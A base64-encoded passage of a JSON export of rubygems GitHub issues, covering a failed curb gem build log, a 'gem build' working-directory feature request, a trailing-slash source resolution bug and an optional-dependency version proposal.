mtlci5cclxuXHJcbkV4YW1wbGU6XHJcblxyXG5gYGB0ZXh0XHJcbmN1cmJfZXJyb3JzLmM6IEF0IHRvcCBsZXZlbDpcclxuY2MxOiB3YXJuaW5nOiB1bnJlY29nbml6ZWQgY29tbWFuZCBsaW5lIG9wdGlvbiBcIi1Xbm8tc2VsZi1hc3NpZ25cIlxyXG5jYzE6IHdhcm5pbmc6IHVucmVjb2duaXplZCBjb21tYW5kIGxpbmUgb3B0aW9uIFwiLVduby1jb25zdGFudC1sb2dpY2FsLW9wZXJhbmRcIlxyXG5jYzE6IHdhcm5pbmc6IHVucmVjb2duaXplZCBjb21tYW5kIGxpbmUgb3B0aW9uIFwiLVduby1wYXJlbnRoZXNlcy1lcXVhbGl0eVwiXHJcbmNjMTogd2FybmluZzogdW5yZWNvZ25pemVkIGNvbW1hbmQgbGluZSBvcHRpb24gXCItV25vLXRhdXRvbG9naWNhbC1jb21wYXJlXCJcclxuY29tcGlsaW5nIGN1cmJfbXVsdGkuY1xyXG5jdXJiX211bHRpLmM6IEluIGZ1bmN0aW9uICdydWJ5X2N1cmxfbXVsdGlfcGVyZm9ybSc6XHJcbmN1cmJfbXVsdGkuYzo2ODg6Mzogd2FybmluZzogSVNPIEM5MCBmb3JiaWRzIG1peGVkIGRlY2xhcmF0aW9ucyBhbmQgY29kZSBbLVdkZWNsYXJhdGlvbi1hZnRlci1zdGF0ZW1lbnRdXHJcbiAgIFZBTFVFIGhhc2ggPSByYmNtLT5yZXF1ZXN0cztcclxuICAgXlxyXG5jdXJiX211bHRpLmM6IEF0IHRvcCBsZXZlbDpcclxuY2MxOiB3YXJuaW5nOiB1bnJlY29nbml6ZWQgY29tbWFuZCBsaW5lIG9wdGlvbiBcIi1Xbm8tc2VsZi1hc3NpZ25cIlxyXG5jYzE6IHdhcm5pbmc6IHVucmVjb2duaXplZCBjb21tYW5kIGxpbmUgb3B0aW9uIFwiLVduby1jb25zdGFudC1sb2dpY2FsLW9wZXJhbmRcIlxyXG5jYzE6IHdhcm5pbmc6IHVucmVjb2duaXplZCBjb21tYW5kIGxpbmUgb3B0aW9uIFwiLVduby1wYXJlbnRoZXNlcy1lcXVhbGl0eVwiXHJcbmNjMTogd2FybmluZzogdW5yZWNvZ25pemVkIGNvbW1hbmQgbGluZSBvcHRpb24gXCItV25vLXRhdXRvbG9naWNhbC1jb21wYXJlXCJcclxuY29tcGlsaW5nIGN1cmJfcG9zdGZpZWxkLmNcclxuY29tcGlsaW5nIGN1cmJfdXBsb2FkLmNcclxubGlua2luZyBzaGFyZWQtb2JqZWN0IGN1cmJfY29yZS5zb1xyXG54ODZfNjQtY29yZWFkYXB0aXZlLWxpbnV4LWdudS1sZDogdW5yZWNvZ25pemVkIG9wdGlvbiAnLS1jb21wcmVzcy1kZWJ1Zy1zZWN0aW9ucz16bGliJ1xyXG54ODZfNjQtY29yZWFkYXB0aXZlLWxpbnV4LWdudS1sZDogdXNlIHRoZSAtLWhlbHAgb3B0aW9uIGZvciB1c2FnZSBpbmZvcm1hdGlvblxyXG5jb2xsZWN0MjogZXJyb3I6IGxkIHJldHVybmVkIDEgZXhpdCBzdGF0dXNcclxuTWFrZWZpbGU6MjU3OiByZWNpcGUgZm9yIHRhcmdldCAnY3VyYl9jb3JlLnNvJyBmYWlsZWRcclxubWFrZVsyXTogKioqIFtjdXJiX2NvcmUuc29dIEVycm9yIDFcclxubWFrZVsyXTogTGVhdmluZyBkaXJlY3RvcnkgJy9ob21lL3JrZWVuZS9kZXZlbC9hdXJhZS9ub2RlL3Jvb3QvcGFja2FnZXMvaW5zdGFsbGVkL3BrZ3Mvd29ya2Rpci1OcmFKNm5qdmRKT3gudG1wL2xpYi9ydWJ5L2dlbXMvMi40LjAvZ2Vtcy9jdXJiLTAuOS4zL2V4dCdcclxuXHJcbm1ha2UgZmFpbGVkLCBleGl0IGNvZGUgMlxyXG5cclxuR2VtIGZpbGVzIHdpbGwgcmVtYWluIGluc3RhbGxlZCBpbiAvaG9tZS9ya2VlbmUvZGV2ZWwvYXVyYWUvbm9kZS9yb290L3BhY2thZ2VzL2luc3RhbGxlZC9wa2dzL3dvcmtkaXItTnJhSjZuanZkSk94LnRtcC9saWIvcnVieS9nZW1zLzIuNC4wL2dlbXMvY3VyYi0wLjkuMyBmb3IgaW5zcGVjdGlvbi5cclxuUmVzdWx0cyBsb2dnZWQgdG8gL2hvbWUvcmtlZW5lL2RldmVsL2F1cmFlL25vZGUvcm9vdC9wYWNrYWdlcy9pbnN0YWxsZWQvcGtncy93b3JrZGlyLU5yYUo2bmp2ZEpPeC50bXAvbGliL3J1YnkvZ2Vtcy8yLjQuMC9leHRlbnNpb25zL3g4Nl82NC1saW51eC8yLjQuMC1zdGF0aWMvY3VyYi0wLjkuMy9nZW1fbWFrZS5vdXRcclxuYGBgXHJcblxyXG5Dcm9zcy1jb21waWxpbmcgZnJvbSBMaW51eC94ODZfNjQgdG8gTGludXgveDg2XzY0IChkaWZmZXJlbnQgcGxhdGZvcm1zKVxyXG5cclxuSSBwcmV2aW91c2x5IHJhaXNlZCB0aGlzIG9uIHRoZSBSdWJ5IGJ1ZyB0cmFja2VyIGFuZCB0aGV5IGRpcmVjdGVkIG1lIGhlcmUuICBodHRwczovL2J1Z3MucnVieS1sYW5nLm9yZy9pc3N1ZXMvMTMyMTVcclxuIn0seyJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODM3IiwicmVwb3NpdG9yeV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zIiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4MzcvbGFiZWxzey9uYW1lfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4MzcvY29tbWVudHMiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTgzNy9ldmVudHMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTgzNyIsImlkIjoyMDYzNTI5NDcsIm51bWJlciI6MTgzNywidGl0bGUiOiJGZWF0dXJlIHJlcXVlc3Q6IGNoZGlyIHRvIGdlbXNwZWMgZGlyZWN0b3J5IHdoZW4gZG9pbmcgZ2VtIGJ1aWxkIGFuZCBjb250cm9sIG91dHB1dCBsb2NhdGlvbiIsInVzZXIiOnsibG9naW4iOiJSdXNoIiwiaWQiOjExNTkyNiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczIuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTE1OTI2P3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9SdXNoIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vUnVzaCIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1J1c2gvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvUnVzaC9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9SdXNoL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9SdXNoL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvUnVzaC9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1J1c2gvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvUnVzaC9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1J1c2gvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL1J1c2gvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjMwNTUyNDc1MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvdHlwZTolMjBmZWF0dXJlJTIwcmVxdWVzdCIsIm5hbWUiOiJ0eXBlOiBmZWF0dXJlIHJlcXVlc3QiLCJjb2xvciI6ImJmZTViZiIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjozLCJjcmVhdGVkX2F0IjoiMjAxNy0wMi0wOFQyMzowMzozNloiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wNC0yN1QwNzozMTo1N1oiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiTXkgY3VycmVudCBwcm9ibGVtIGlzOiB3aGVuIGJ1aWxkaW5nIGEgZ2VtIGZyb20gb3V0c2lkZSBhbmQgcnVubmluZyBgZ2VtIGJ1aWxkIC4uL3NvbWUvcGF0aC9maWxlLmdlbXNwZWNgIHRoZSByZXN1bHRpbmcgYC5nZW1gIGhhcyBubyBjb250ZW50cy4gVGhpcyBpcyBiZWNhdXNlIGBzLmZpbGVzYCBkb2VzIG5vdCBtYXRjaCBhbnl0aGluZy4gQXMgcGFydCBvZiBteSBidWlsZCBzeXN0ZW0gSSdkIGxpa2UgdG8gcnVuIHRoZSBgZ2VtYCBjb21tYW5kIGZyb20gYSBkaWZmZXJlbnQgd29ya2luZyBkaXJlY3RvcnkgYW5kIEkgd291bGQgYWxzbyBsaWtlIHRvIGNvbnRyb2wgdGhlIG91dHB1dCBsb2NhdGlvbiBvZiB0aGUgcmVzdWx0aW5nIGAuZ2VtYCBmaWxlLiBcclxuXHJcblRvIHN1bSB1cCwgdGhlcmUgYXJlIHR3byByZXF1ZXN0czpcclxuKiBbIF0gTWFrZSBzdXJlIHRoZSBgZ2VtYCBjb21tYW5kIGNoZGlycyB0byB0aGUgYC5nZW1zcGVjYCBmaWxlIGxvY2F0aW9uLlxyXG4qIFsgXSBBbGxvdyB0byBvdXRwdXQgdGhlIGAuZ2VtYCBmaWxlIHRvIGEgZGlmZmVyZW50IGRpciwgb3IgYXQgbGVhc3QgdG8gdGhlIGluaXRpYWwgd29ya2luZyBkaXIgYmVmb3JlIHRoZSBjaGRpciB0byB0aGUgZ2Vtc3BlYyBsb2NhdGlvbi5cclxuXHJcblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcclxuICAtIFtYXSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXHJcblxyXG5JIHdpbGwgYWJpZGUgYnkgdGhlIFtjb2RlIG9mIGNvbmR1Y3RdKGh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ibG9iL21hc3Rlci9DT0RFX09GX0NPTkRVQ1QubWQpLlxyXG4ifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4MjkiLCJyZXBvc2l0b3J5X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTgyOS9sYWJlbHN7L25hbWV9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTgyOS9jb21tZW50cyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODI5L2V2ZW50cyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODI5IiwiaWQiOjIwMzY0ODg0NywibnVtYmVyIjoxODI5LCJ0aXRsZSI6IlNvdXJjZXMgd2l0aG91dCB0cmFpbGluZyBzbGFzaCBub3QgcmVzb2x2ZWQgY29ycmVjdGx5IiwidXNlciI6eyJsb2dpbiI6InJhbmR5Y291bG1hbiIsImlkIjoxNDA2MjAzLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMy5naXRodWJ1c2VyY29udGVudC5jb20vdS8xNDA2MjAzP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yYW5keWNvdWxtYW4iLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9yYW5keWNvdWxtYW4iLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9yYW5keWNvdWxtYW4vZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JhbmR5Y291bG1hbi9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JhbmR5Y291bG1hbi9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3JhbmR5Y291bG1hbi9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcmFuZHljb3VsbWFuL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJsYWJlbHMiOlt7ImlkIjozMDczNzQ0NTUsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3N0YXR1czolMjB0cmlhZ2UiLCJuYW1lIjoic3RhdHVzOiB0cmlhZ2UiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfV0sInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsImFzc2lnbmVlIjpudWxsLCJhc3NpZ25lZXMiOltdLCJtaWxlc3RvbmUiOm51bGwsImNvbW1lbnRzIjo2LCJjcmVhdGVkX2F0IjoiMjAxNy0wMS0yN1QxNDoyOTo1MVoiLCJ1cGRhdGVkX2F0IjoiMjAxNy0wMS0yOFQxNTozNTo0MloiLCJjbG9zZWRfYXQiOm51bGwsImF1dGhvcl9hc3NvY2lhdGlvbiI6Ik5PTkUiLCJib2R5IjoiSSdtIGhhdmluZyBhIHByb2JsZW0gb3Igd291bGQgbGlrZSB0byBzdWdnZXN0IGEgZmVhdHVyZS5cclxuXHJcbk15IGN1cnJlbnQgcHJvYmxlbSBpcyB3aGVuIGF0dGVtcHRpbmcgdG8gcnVuIGFueSBgZ2VtYCBjb21tYW5kIHdpdGggYSBnZW0gc291cmNlIHRoYXQgZG9lc24ndCBoYXZlIGEgdHJhaWxpbmcgc2xhc2gsIHRoZSBsYXN0IHNlZ21lbnQgb2YgdGhlIHBhdGggaXMgcmVtb3ZlZC4gIEZvciBleGFtcGxlLCBmb2xsb3dpbmcgdGhlIFtkb2N1bWVudGF0aW9uIGZvciBhIGdlbXN0YXNoIHByaXZhdGUgZ2VtIHJlcG9zaXRvcnldKGh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyL2dlbXN0YXNoL2Jsb2IvbWFzdGVyL2RvY3MvZ2Vtc3Rhc2gtcHJpdmF0ZS1nZW1zLjcubWQpLCBJIG1pZ2h0IGNvbmZpZ3VyZSBhIGdlbSBzb3VyY2UgbGlrZSBgaHR0cDovL2xvY2FsaG9zdDo5MjkyL3ByaXZhdGVgLiAgV2hlbiBJIGF0dGVtcHQgdG8gaW5zdGFsbCBhIGdlbSAob3IgbGlzdCBvciBzZWFyY2gpIGZyb20gdGhhdCBzb3VyY2UsIHRoZSBgZ2VtYCBjb21tYW5kIGxpbmUgd2lsbCBhdHRlbXB0IHRvIGBHRVRgIGAvYXBpL3YxL2RlcGVuZGVuY2llcz9nZW1zPW15X3ByaXZhdGVfZ2VtYCBpbnN0ZWFkIG9mIGAvcHJpdmF0ZS9hcGkvdjEvZGVwZW5kZW5jaWVzP2dlbXM9bXlfcHJpdmF0ZV9nZW1gLlxyXG5cclxuU2VlIHRoZSBkaXNjdXNzaW9uIHN0YXJ0aW5nIHdpdGggdGhpcyBjb21tZW50OiBodHRwczovL2dpdGh1Yi5jb20vYnVuZGxlci9nZW1zdGFzaC9wdWxsLzEzNCNpc3N1ZWNvbW1lbnQtMjc1NDAwNzU3XHJcblxyXG5BbHNvLCBzZWUgdGhpcyBza2lwcGVkIHRlc3Qgb24gdGhlIGdlbXN0YXNoIHJlcG9zaXRvcnk6IGh0dHBzOi8vZ2l0aHViLmNvbS9idW5kbGVyL2dlbXN0YXNoL2Jsb2IvbWFzdGVyL3NwZWMvaW50ZWdyYXRpb25fc3BlYy5yYiNMMTQwLUwxNDdcclxuXHJcblRoaXMgaXNzdWUgaXMgcmVsYXRlZCB0bzpcclxuXHJcbiAgLSBbIF0gTmV0d29yayBwcm9ibGVtc1xyXG4gIC0gWyBdIEluc3RhbGxpbmcgYSBsaWJyYXJ5XHJcbiAgLSBbIF0gUHVibGlzaGluZyBhIGxpYnJhcnlcclxuICAtIFt4XSBUaGUgY29tbWFuZCBsaW5lIGBnZW1gXHJcbiAgLSBbIF0gT3RoZXJcclxuXHJcbkhlcmUgYXJlIG15IGN1cnJlbnQgZW52aXJvbm1lbnQgZGV0YWlsczpcclxuXHJcbmBgYFxyXG4kIGdlbSBlbnYgdmVyc2lvblxyXG4yLjYuOFxyXG5gYGBcclxuXHJcbkkgd2lsbCBhYmlkZSBieSB0aGUgW2NvZGUgb2YgY29uZHVjdF0oaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL2Jsb2IvbWFzdGVyL0NPREVfT0ZfQ09ORFVDVC5tZCkuXHJcbiJ9LHsidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvMTgxMSIsInJlcG9zaXRvcnlfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImxhYmVsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODExL2xhYmVsc3svbmFtZX0iLCJjb21tZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlcy8xODExL2NvbW1lbnRzIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4MTEvZXZlbnRzIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzE4MTEiLCJpZCI6MTk5MDE0MDU5LCJudW1iZXIiOjE4MTEsInRpdGxlIjoiRmVhdHVyZSBSZXF1ZXN0OiBPcHRpb25hbCBkZXBlbmRlbmN5IHZlcnNpb24gc3BlY2lmaWVyIiwidXNlciI6eyJsb2dpbiI6InNjaG5lZW1zIiwiaWQiOjU5NzQ0LCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMi5naXRodWJ1c2VyY29udGVudC5jb20vdS81OTc0ND92PTQiLCJncmF2YXRhcl9pZCI6IiIsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2NobmVlbXMiLCJodG1sX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9zY2huZWVtcyIsImZvbGxvd2Vyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NjaG5lZW1zL2ZvbGxvd2VycyIsImZvbGxvd2luZ191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NjaG5lZW1zL2ZvbGxvd2luZ3svb3RoZXJfdXNlcn0iLCJnaXN0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NjaG5lZW1zL2dpc3Rzey9naXN0X2lkfSIsInN0YXJyZWRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zY2huZWVtcy9zdGFycmVkey9vd25lcn17L3JlcG99Iiwic3Vic2NyaXB0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3NjaG5lZW1zL3N1YnNjcmlwdGlvbnMiLCJvcmdhbml6YXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2NobmVlbXMvb3JncyIsInJlcG9zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2NobmVlbXMvcmVwb3MiLCJldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9zY2huZWVtcy9ldmVudHN7L3ByaXZhY3l9IiwicmVjZWl2ZWRfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvc2NobmVlbXMvcmVjZWl2ZWRfZXZlbnRzIiwidHlwZSI6IlVzZXIiLCJzaXRlX2FkbWluIjpmYWxzZX0sImxhYmVscyI6W3siaWQiOjQ0MzMzNDE4MCwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvY29udHJpYnV0aW9uOiUyMHVuY2xhaW1lZCIsIm5hbWUiOiJjb250cmlidXRpb246IHVuY2xhaW1lZCIsImNvbG9yIjoiREREREREIiwiZGVmYXVsdCI6ZmFsc2V9LHsiaWQiOjMwNzg4MTAxMSwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHMvc3RhdHVzOiUyMHJlYWR5IiwibmFtZSI6InN0YXR1czogcmVhZHkiLCJjb2xvciI6ImZlZjJjMCIsImRlZmF1bHQiOmZhbHNlfSx7ImlkIjozMDU1MjQ3NTAsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzL3R5cGU6JTIwZmVhdHVyZSUyMHJlcXVlc3QiLCJuYW1lIjoidHlwZTogZmVhdHVyZSByZXF1ZXN0IiwiY29sb3IiOiJiZmU1YmYiLCJkZWZhdWx0IjpmYWxzZX1dLCJzdGF0ZSI6Im9wZW4iLCJsb2NrZWQiOmZhbHNlLCJhc3NpZ25lZSI6bnVsbCwiYXNzaWduZWVzIjpbXSwibWlsZXN0b25lIjpudWxsLCJjb21tZW50cyI6MjQsImNyZWF0ZWRfYXQiOiIyMDE3LTAxLTA1VDE3OjM0OjA5WiIsInVwZGF0ZWRfYXQiOiIyMDE3LTA5LTIwVDEzOjUyOjQxWiIsImNsb3NlZF9hdCI6bnVsbCwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiQ09OVFJJQlVUT1IiLCJib2R5IjoiSSB3b3VsZCBsaWtlIHRvIHN1Z2dlc3QgYSBmZWF0dXJlLlxyXG5cclxuTXkgY3VycmVudCBwcm9ibGVtIGlzIHdoZW4gZGV2ZWxvcGluZyBhIGdlbSB3aXRoIFwib3B0aW9uYWxcIiBkZXBlbmRlbmNpZXMgdGhlcmUgaXMgbm8gd2F5IHRvIHRlbGwgcnVieWdlbXMgYSB2YWxpZCBnZW0gdmVyc2lvbiBzcGVjaWZpY2F0aW9uLlxyXG5cclxuRm9yIGV4YW1wbGUgaW4gU3Byb2NrZXRzIHdlIGhhdmUgb3B0aW9uYWwgY29kZSB0aGF0IGNhbiBiZSBydW4gaWYgeW91IGhhdmUgYHVnbGlmaWVyYCBnZW0gb24geW91ciBzeXN0ZW0uIEhvd2V2ZXIgbm90IGFsbCB1c2VycyBvZiBTcHJvY2tldHMgd2lzaCB0byB1c2UgVWdsaWZpZXIgc28gd2UgZG8gbm90IHdhbnQgdG8gZGVwZW5kIG9uIGl0IGluIHRoZSBnZW1zcGVjLiBSZWNlbnRseSB0aGVyZSB3YXMgYSBicmVha2luZyBjaGFuZ2UgaW4gdGhlIFVnbGlmaWVyIEFQSSwgaWYgd2Ugd2VyZSBkaXJlY3RseSBkZXBlbmRpbmcgb24gdGhpcyBnZW0gdGhlbiBJIHdvdWxkIHNvbHZlIHRoZSBwcm9ibGVtIGJ5IG9ubHkgYWxsb3dpbmcgdXNlcnMgd2l0aCB1Z2xpZmllciA+PSAzLjAuNCB3aXRoIFNwcm9ja2V0cyA0LiBIb3dldmVyIHNpbmNlIHdlIGFyZSBub3QgZGVjbGFyaW5nIHRoaXMgYXMgYSBkZXBlbmRlbmN5LCB0aGVyZSBpcyBubyB3YXkgdG8gZG8gdGhpcy5cclxuXHJcbkkgYW0gcHJvcG9zaW5nIGEgZGVjbGFyYXRpb24gaW4gdGhlIEdlbXNwZWMgbGlrZSB0aGlzOlxyXG5cclxuYGBgXHJcbiAgcy5vcHRpb25hbF9kZXBlbmRlbmN5IFwidWdsaWZpZXJcIiwgXCI+PSAzLjAuNFwiXHJcbmBgYFxyXG5cclxuUHJvcG9zZWQgYmVoYXZpb3I6IElmIHRoaXMgd2FzIGluIGEgZ2Vtc3BlYyB0aGVuIGlmIHRoZSBTcHJvY2tldHMgZ2VtIGlzIGxvYWRlZCBmaXJzdCwgdGhlbiB3aGVuIHRoZSBVZ2xpZmllciBnZW0gd2lsbCBiZSBzdWJqZWN0IHRvIHRoZSBhZGRpdGlvbmFsIHZlcnNpb24gc3BlY2lmaWNhdGlvbi4gSWYgdGhlIFVnbGlmaWVyIGdlbSBpcyBsb2FkZWQgZmlyc3QgdGhlbiB0aGUgc3lzdGVtIHdvdWxkIGVycm9yIG91dCB3aGlsZSB0cnlpbmcgdG8gbG9hZCBTcHJvY2tldHMgaWYgaXQgaXMgbm90IHdpdGhpbiB0aGUgc3BlY2lmaWNhdGlvbi4gSWRlYWxseSBpZiBidW5kbGVyIGNvdWxkIGV2ZW50dWFsbHkgaW50ZWdyYXRlIHRvIHJlc29sdmUgb3B0aW9uYWwgZGVwZW5kZW5jaWVzIGF0IGluc3RhbGwgdGltZSwgdGhhdCB3b3VsZCBiZSDwn5GMLlxyXG5cclxuQ3VycmVudCBiZWhhdmlvcjogUmlnaHQgbm93IHRoZSBvbmx5IHdheSB0byBoYW5kbGUgdGhlIGNhc2UgaXMgdG8gYnJhbmNoIGFzIGluIHRoaXMgUFIgaHR0cHM6Ly9naXRodWIuY29tL3JhaWxzL3Nwcm9ja2V0cy9wdWxsLzQ0OCBvciB0byBtYW51YWxseSBkZXRlY3QgdmVyc2lvbnMgYXQgcnVudGltZSBhbmQgZXJyb3Igb3V0LiBQcm9wb3NlZCBiZWhhdmlvciB3b3VsZCBtYWtlIHRoZSBjYXNlIHdoZXJlIHNwcm9ja2V0cyBpcyByZXF1aXJlZCBmaXJzdCBtdWNoIGJldHRlciwgd2hpbGUgdGhlIG90aGVyIGNhc2Ugb2YgdWdsaWZpZXIgbG9h